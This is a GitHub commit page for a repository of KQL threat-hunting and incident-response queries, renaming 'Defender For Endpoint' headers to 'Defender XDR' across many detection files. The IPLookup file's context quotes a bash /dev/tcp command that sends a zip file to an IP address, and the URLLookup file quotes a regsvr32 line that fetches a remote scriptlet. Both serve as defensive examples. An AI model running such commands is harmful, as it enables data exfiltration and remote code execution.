Skip to content

Commit

Permalink
Template Update
Browse files Browse the repository at this point in the history
  • Loading branch information
Bert-JanP committed Oct 20, 2024
1 parent 1fca617 commit 1b6dca8
Show file tree
Hide file tree
Showing 305 changed files with 397 additions and 397 deletions.
2 changes: 1 addition & 1 deletion Azure Active Directory/AllGraphPermissionsAdded.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,4 +32,4 @@ AuditLogs
| extend ServicePrincipalAppId = replace_string(tostring(todynamic(TargetResources).modifiedProperties[5].newValue),'"','')
| where AddedPermission endswith ".All"
| project-reorder TimeGenerated, InitiatedByUserPrincipalName, ActivityDisplayName, AddedPermission, IP, ServicePrincipalAppId
```
```
2 changes: 1 addition & 1 deletion Azure Active Directory/GraphMailPermissions.md
Original file line number Diff line number Diff line change
Expand Up @@ -36,4 +36,4 @@ AuditLogs
| extend TotalPermissions = array_length(Permissions)
| project TotalPermissions, ServicePrincipalAppId, InitiatedByUserPrincipalName, IP, Permissions
| sort by TotalPermissions
```
```
2 changes: 1 addition & 1 deletion Azure Active Directory/GroupMembershipReport.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,4 +28,4 @@ IdentityInfo
| where isnotempty(GroupMembership)
| summarize TotalMemberships = dcount(tostring(GroupMembership)), MemberOf = make_set(tostring(GroupMembership), 1000) by AccountObjectId, AccountDisplayName, AccountUPN
| extend ReportDate = now()
```
```
2 changes: 1 addition & 1 deletion Azure Active Directory/MonitorCloudBreakGlassAccount.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ If an attacker could get access to a break glass account, this account could be
#### Author
- **Github: https://github.com/erikgruetter**

## Defender For Endpoint
## Defender XDR
```
AADSignInEventsBeta
| where AccountDisplayName == "Input display name of account here"
Expand Down
2 changes: 1 addition & 1 deletion Azure Active Directory/MultipleAccountsLocked.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,4 +29,4 @@ SigninLogs
| where TotalAccounts >= Threshold
| extend GeoIPInfo = geo_info_from_ip_address(IPAddress)
| extend country = tostring(parse_json(GeoIPInfo).country), state = tostring(parse_json(GeoIPInfo).state), city = tostring(parse_json(GeoIPInfo).city)
```
```
2 changes: 1 addition & 1 deletion Azure Active Directory/NewAuthenticationAppDetected.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ A malicious actor installs a malicious app in your environment. This app can the
- https://learn.microsoft.com/en-us/security/compass/incident-response-playbook-compromised-malicious-app
- https://www.lares.com/blog/malicious-azure-ad-application-registrations/

## Defender For Endpoint
## Defender XDR
```KQL
let KnownApps = AADSignInEventsBeta
// Adjust the timerange depending on the retention period
Expand Down
2 changes: 1 addition & 1 deletion Azure Active Directory/NewUserAgentUsed.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ False positives can be new browser updates that trigger new UserAgents, this wil
#### Risk
A malicious actor signs in to your tenant with a user agent that is not user in your environment. It can also be a script that uses (leaked) credentials on your tentant.

## Defender For Endpoint
## Defender XDR
```KQL
let KnownUserAgents = AADSignInEventsBeta
| where Timestamp > ago(30d) and Timestamp < ago(3d)
Expand Down
4 changes: 2 additions & 2 deletions Azure Active Directory/PotentialAiTMPhishing.md
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ Adversary in the middle phishing has successfully been peformed on a user and th
- https://techcommunity.microsoft.com/t5/azure-data-explorer-blog/aitm-amp-bec-threat-hunting-with-kql/ba-p/3885166
- https://jeffreyappel.nl/aitm-mfa-phishing-attacks-in-combination-with-new-microsoft-protections-2023-edt/

## Defender For Endpoint
## Defender XDR
```KQL
AADSignInEventsBeta
| where Application == "OfficeHome"
Expand All @@ -41,4 +41,4 @@ SigninLogs
| summarize RiskLevels = make_set(RiskLevelDuringSignIn), ResultTypes = make_set(ResultType), IPs = make_set(IPAddress) by CorrelationId, UserPrincipalName
// Optional to only filter on events with a RiskLevel during the sign-in
//| where RiskLevels has_any ("low", "medium", "high")
```
```
2 changes: 1 addition & 1 deletion Azure Active Directory/RoleReport.md
Original file line number Diff line number Diff line change
Expand Up @@ -28,4 +28,4 @@ IdentityInfo
| summarize TotalRoles = dcount(tostring(AssignedRoles)), MemberOf = make_set(tostring(AssignedRoles), 1000) by AccountObjectId, AccountDisplayName, AccountUPN
| extend ReportDate = now()
| sort by TotalRoles desc
```
```
2 changes: 1 addition & 1 deletion Azure Active Directory/SignInFromSuspiciousIP.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,4 +24,4 @@ let IPs = ThreatIntelligenceIndicator
SigninLogs
| where IPAddress in (IPs)
| project TimeGenerated, UserPrincipalName, IPAddress, Location
```
```
2 changes: 1 addition & 1 deletion Azure Active Directory/SignInsByBrowser.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
This query lists all the different browsers that are used to succesfully sign in to your Entra ID Tenant. This could be used to detect rare browsers that are used to sign into your tenant.


## Defender For Endpoint
## Defender XDR
```KQLAADSignInEventsBeta
| where isnotempty(UserAgent)
// Filter for successful sign ins only
Expand Down
2 changes: 1 addition & 1 deletion Azure Active Directory/SignInsByOS.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ This query can be used to detect rare operating systems that are used to sign in

This query can also be used to determine with Operting Systems need to be added to your Conditional Access Policies.

## Defender For Endpoint
## Defender XDR
```KQL
AADSignInEventsBeta
| where isnotempty(UserAgent)
Expand Down
2 changes: 1 addition & 1 deletion Azure Active Directory/SignInsByUserAgent.md
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ This query can be used to detect rare UserAgents that are used to sign into your

The query can be extended by filtering on succesful and failed sign ins.

## Defender For Endpoint
## Defender XDR
```KQL
AADSignInEventsBeta
| summarize count() by UserAgent
Expand Down
2 changes: 1 addition & 1 deletion Azure Active Directory/SuccessfulSignInFromNewCountry.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ This query detects successful signins from countries that have not been seen bef
#### Risk
An adversary signs in from a new country to your azure AD tenant.

## Defender For Endpoint
## Defender XDR
```KQL
let KnownCountries = AADSignInEventsBeta
| where Timestamp > ago(30d) and Timestamp < ago(3d)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ False positives can be a VPN that changes IP addresses, which results in a high
#### Risk
The risk is that an actor uses an rare IP address to sign into your tenant.

## Defender For Endpoint
## Defender XDR
```KQL
AADSignInEventsBeta
| summarize IPsUsed = make_set(IPAddress), locations = make_set(Country) by AccountObjectId
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ If a password has not been changed for years, it might be that the account does
#### References
- https://learn.microsoft.com/en-us/microsoft-365/admin/misc/password-policy-recommendations?view=o365-worldwide

## Defender For Endpoint
## Defender XDR
```KQL
let LatestNChanges = 100;
AADSignInEventsBeta
Expand Down
2 changes: 1 addition & 1 deletion Azure Active Directory/TotalAllGraphPermissionsAdded.md
Original file line number Diff line number Diff line change
Expand Up @@ -30,4 +30,4 @@ AuditLogs
| extend TotalPermissions = array_length(Permissions)
| project TotalPermissions, ServicePrincipalAppId, InitiatedByUserPrincipalName, IP, Permissions
| sort by TotalPermissions
```
```
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ If a password has not been changed for years, it might be that the account does
#### References
- https://learn.microsoft.com/en-us/microsoft-365/admin/misc/password-policy-recommendations?view=o365-worldwide

## Defender For Endpoint
## Defender XDR
```KQL
AADSignInEventsBeta
| where Timestamp > ago(30d)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ The risk addressed here is the manipulation of access controls to evade detectio
- [Microsoft Documentation on Conditional Access Policies](https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/)
- [MITRE ATT&CK on Defense Evasion](https://attack.mitre.org/tactics/TA0005/)

## Defender For Endpoint
## Defender XDR
```KQL
AuditLogs
| where OperationName =~ "Update conditional access policy" and TargetResources has_all ('locations','excludeLocations')
2 changes: 1 addition & 1 deletion Azure Resource Graph/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -52,4 +52,4 @@ Microsoft has provided various KQL examples that can be used in your environment

When using the docs, select portal to get the KQL queries as marked below.

![Azure Resource Graph Docs](Images/Portal.png)
![Azure Resource Graph Docs](Images/Portal.png)
4 changes: 2 additions & 2 deletions Cloud Audit Events/CloudResourceDeletion.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,12 +17,12 @@ An actor deletes multiple cloud resources to create impact.
#### References
- https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-cloudauditevents-table

## Defender For Endpoint
## Defender XDR
```KQL
let Threshold = 20;
let BinSize = 1d;
CloudAuditEvents
| where ActionType == "CloudAuditEventDelete"
| summarize TotalActions = count(), arg_max(Timestamp, *) by bin(Timestamp, BinSize), Account, DataSource
| where TotalActions > Threshold
```
```
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find all the processes a file has created and the associated FileNames, FileLocations and SHA1 hashes that the file has had.
----
### Defender For Endpoint
### Defender XDR

```
// For the best results use SHA1
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find the DFE Antivirus events on compromised devices. FileInfo is stored in JSON format.
----
### Defender For Endpoint
### Defender XDR

```
let CompromisedDevices = dynamic (["laptop1", "server2"]);
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find all the activities that launched a browser to open a URL from a compromised device.

### Defender For Endpoint
### Defender XDR

```
let CompromisedDevice = "laptop.contoso.com";
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find all the connections that have been made by Office from a compromised device.
----
### Defender For Endpoint
### Defender XDR

```
let ConnectionsMadeByOfficeRegKey = @'\SOFTWARE\Microsoft\Office\16.0\Common\Internet\Server Cache';
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# File Enrichment on Suspicious File
----
### Defender For Endpoint
### Defender XDR

```
let SuspiciousDownloadName = 'GoogleUpdateSetup.exe';
Expand Down
2 changes: 1 addition & 1 deletion DFIR/Defender For Endpoint/MDE - IPLookup.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'
#### References
- https://lolbas-project.github.io/lolbas/Binaries/Rundll32/
- https://lolbas-project.github.io/lolbas/Binaries/Bash/
## Defender For Endpoint
## Defender XDR
```
// Set the IP address you are trying to lookup.
let LookupIP = "127.0.0.1";
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ This query can be used to get a quick overview of all the inbound connections th
#### References
- https://www.microsoft.com/en-us/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/

## Defender For Endpoint
## Defender XDR
```
// Add the device you are investigating in the CompromisedDevice variable
let CompromisedDevice = "test.domain.tld";
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ This query will most likely, depending on the setup of your organization always

This is query is aimed to be part of your inciden triage, to discover or exclude potential lateral movement in an efficient manner.

## Defender For Endpoint
## Defender XDR
```
// Add the device you are investigating in the CompromisedDevice variable
let CompromisedDevice = "compromiseddevice";
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find all attachments that have been send from a compromised mailbox and which devices have opened that attachment.
----
### Defender For Endpoint
### Defender XDR

```
let CompromisedMailbox = "[email protected]";
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Show the last 100 Powershell executions from a compromised device
----
### Defender For Endpoint
### Defender XDR

```
let CompromisedDevice = "laptop.contoso.com";
Expand Down
2 changes: 1 addition & 1 deletion DFIR/Defender For Endpoint/MDE - NetActivities.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# List all net(1).exe activities on a host
----
### Defender For Endpoint
### Defender XDR

```
let CompromisedDevice = "azurewin2022";
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Show all successful SMB connections of a compromised device
----
### Defender For Endpoint
### Defender XDR

```
let CompromisedDevice = "laptop1";
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Forensics on Registry Run keys in Windows. Registry Run keys can be used to establish persistence on a device.
----
### Defender For Endpoint
### Defender XDR

```
let RegistryRunKeys = dynamic
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find all the ASR events that have triggered from a compromised device

### Defender For Endpoint
### Defender XDR

```
let CompromisedDevice = "laptop1";
Expand Down
2 changes: 1 addition & 1 deletion DFIR/Defender For Endpoint/MDE - URLLookup.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redca
- https://www.bleepingcomputer.com/news/security/windows-10-background-image-tool-can-be-abused-to-download-malware/
- https://lolbas-project.github.io/lolbas/Binaries/Cmd/

## Defender For Endpoint
## Defender XDR
```
// Set the URL you are trying to lookup.
// Lookup in this query is done with a contains, if this results in to many false positives add www. before the rest of the url.
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find all the activities that launched a browser to open a URL from a compromised device.

### Defender For Endpoint
### Defender XDR

```
let CompromisedDevice = "laptop.contoso.com";
Expand Down
2 changes: 1 addition & 1 deletion DFIR/Defender For Identity/MDI - ADGroupAdditions.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ This query can be used to list all Active Directory group additions. The query u
- https://learn.microsoft.com/en-us/microsoft-365/security/defender/advanced-hunting-identitydirectoryevents-table?view=o365-worldwide
- https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-default-user-accounts

## Defender For Endpoint
## Defender XDR
```
let Groups = dynamic(['Domain Admins', 'GroupName2']); // Add your sensitive groups to this list
let SearchWindow = 48h; //Customizable h = hours, d = days
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find which devices have been accessed by a compromised device and which protocol was used to connect
----
### Defender For Endpoint
### Defender XDR

```
let CompromisedDevice = "laptop.contoso.com";
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find all the executed LDAP queries from a compromised device

### Defender For Endpoint
### Defender XDR

```
let CompromisedDevice = "laptop1.com";
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find which devices have been accessed by a list of compromised accounts and which protocol was used to connect
----
### Defender For Endpoint
### Defender XDR

```
let ComprimsedUsers = dynamic(['user1', 'user2']);
Expand Down
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find all attachments that have been send from a compromised mailbox and which devices have opened that attachment.
----
### Defender For Endpoint
### Defender XDR

```
let CompromisedMailbox = "[email protected]";
Expand Down
2 changes: 1 addition & 1 deletion DFIR/Defender For Office/MDO- FindRelatedMails.md
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ The EmailClusterId which can be assigned to a mail is the identifier for the gro
#### References
- https://learn.microsoft.com/en-us/microsoft-365/security/defender/advanced-hunting-emailevents-table?view=o365-worldwide

### Defender For Endpoint
### Defender XDR
```
let MaliciousEmailCluseriId = "3163234347533"; // Input the EmailClusterId here
EmailEvents
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -9,4 +9,4 @@ ExposureGraphEdges
| where SourceNodeName == DeviceName
| summarize Total = dcount(TargetNodeName), Details = make_set(TargetNodeName) by EdgeLabel, SourceNodeName
| project Source = SourceNodeName, Action = EdgeLabel, Details, Tota
```
```
2 changes: 1 addition & 1 deletion DFIR/ExposureManagement - DeviceActivities.md
Original file line number Diff line number Diff line change
Expand Up @@ -9,4 +9,4 @@ ExposureGraphEdges
| where SourceNodeName == DeviceName
| summarize Total = dcount(TargetNodeName), Details = make_set(TargetNodeName) by EdgeLabel, SourceNodeName
| project Source = SourceNodeName, Action = EdgeLabel, Details, Tota
```
```
2 changes: 1 addition & 1 deletion DFIR/MDE - AllProcessesCreatedByMaliciousFile.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find all the processes a file has created and the associated FileNames, FileLocations and SHA1 hashes that the file has had.
----
### Defender For Endpoint
### Defender XDR

```
// For the best results use SHA1
Expand Down
2 changes: 1 addition & 1 deletion DFIR/MDE - Antivirus-Detections-by-Compromised-Device.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Find the DFE Antivirus events on compromised devices. FileInfo is stored in JSON format.
----
### Defender For Endpoint
### Defender XDR

```
let CompromisedDevices = dynamic (["laptop1", "server2"]);
Expand Down
Loading

0 comments on commit 1b6dca8

Please sign in to comment.